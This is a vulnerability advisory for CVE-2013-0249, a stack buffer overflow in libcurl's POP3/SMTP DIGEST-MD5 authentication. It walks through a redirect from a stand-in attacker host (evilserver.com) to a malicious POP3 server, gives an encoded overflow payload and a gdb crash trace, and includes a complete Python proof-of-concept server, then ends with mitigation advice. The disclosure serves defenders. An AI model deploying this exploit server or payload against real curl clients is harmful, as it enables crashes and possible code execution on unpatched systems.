cURL Buffer Overflow

`cURL buffer overflow  
Wed 06 February 2013  
  
Volema found remotely exploitable buffer overflow vulnerability in libcurl POP3, SMTP protocol handlers which lead to code execution (RCE). When negotiating SASL DIGEST-MD5 authentication, the function Curl_sasl_create_digest_md5_message() uses the data provided from the server without doing the proper length checks and that data is then appended to a local fixed-size buffer on the stack.  
  
Vendor notified, CVE-2013-0249 relased.  
  
Attack Concept Outline  
  
We have the permissions to send custom HTTP requests with curl. We send request to our http://evilserver.com/  
  
GET / HTTP/1.0  
Host: evilserver.com  
  
server answers with  
  
HTTP/1.0 302 Found  
Location: pop3://x:[email protected]/.  
  
"smart" curl interpretes redirect and connects to evilserver.com port 110/TCP using POP3 proto. Server answers  
  
+OK POP3 server ready  
  
curl sends  
  
CAPA  
  
servers answers with DIGEST-MD5 only  
  
+OK List of capabilities follows  
SASL DIGEST-MD5  
IMPLEMENTATION dumbydumb POP3 server  
  
so, libcurl has to send  
  
AUTH DIGEST-MD5  
  
then server sends the payload  
  
+ cmVhbG09IkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIixub25jZT0iT0E2TUc5dEVRR20yaGgiLHFvcD0iYXV0aCIsYWxnb3JpdGhtPW1kNS1zZXNzLGNoYXJzZXQ9dXRmLTg=  
  
and overflow happens because of fixed realm buffer size  
  
realm="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",nonce="OA6MG9tEQGm2hh",qop="auth",algorithm=md5-sess,charset=utf-8  
  
how it looks in gdb  
  
Program received signal SIGSEGV, Segmentation fault.  
0x00007fd2b238298d in ?? () from /lib/x86_64-linux-gnu/libc.so.6  
(gdb) bt  
#0 0x00007fd2b238298d in ?? () from /lib/x86_64-linux-gnu/libc.so.6  
#1 0x00007fd2b2a5cc07 in Curl_sasl_create_digest_md5_message ()  
from /home/kyprizel/test/curl-7.28.1/lib/.libs/libcurl.so.4  
#2 0x4141414141414141 in ?? ()  
...  
#1469 0x4141414141414141 in ?? ()  
#1470 0x656d616e72657375 in ?? ()  
Cannot access memory at address 0x7fff63b8b000  
  
Original exploit: pop3d.py.  
  
#!/usr/bin/env python  
# -*- coding: utf-8 -*-  
# curl pop3 CVE-2013-0249 by Volema/MSLC  
  
import socket  
import base64  
  
host = "localhost"  
port = 110  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  
s.bind((host, port))  
s.listen(5)  
sock, addr = s.accept()  
sock.send('+OK POP3 server ready\n')  
while True:  
buf = sock.recv(1024)  
print buf  
if buf.find('USER') > -1:  
sock.send('+OK\n')  
if buf.find('PASS') > -1:  
sock.send('-ERR 999\n')  
if buf.find('CAPA') > -1:  
resp = '+OK List of capabilities follows\n'  
resp += 'SASL DIGEST-MD5\n'  
resp += 'IMPLEMENTATION dumbydumb POP3 server\n'  
resp += '.\n'  
sock.send(resp)  
if buf.find('QUIT') > -1:  
sock.send('+OK')  
break  
if buf.find('AUTH') > -1:  
realm = 'A'*128  
payload = 'realm="%s",nonce="OA6MG9tEQGm2hh",qop="auth",algorithm=md5-sess,charset=utf-8' % realm  
resp = '+ '+base64.b64encode(payload)+'\n'  
print resp  
sock.send(resp)  
sock.close()  
  
  
Mitigation  
  
We recommend to disable protocols other than HTTP(S) in your application using options CURLOPT_PROTOCOLS and CURLOPT_REDIR_PROTOCOLS. libcurl version should be updated.  
  
`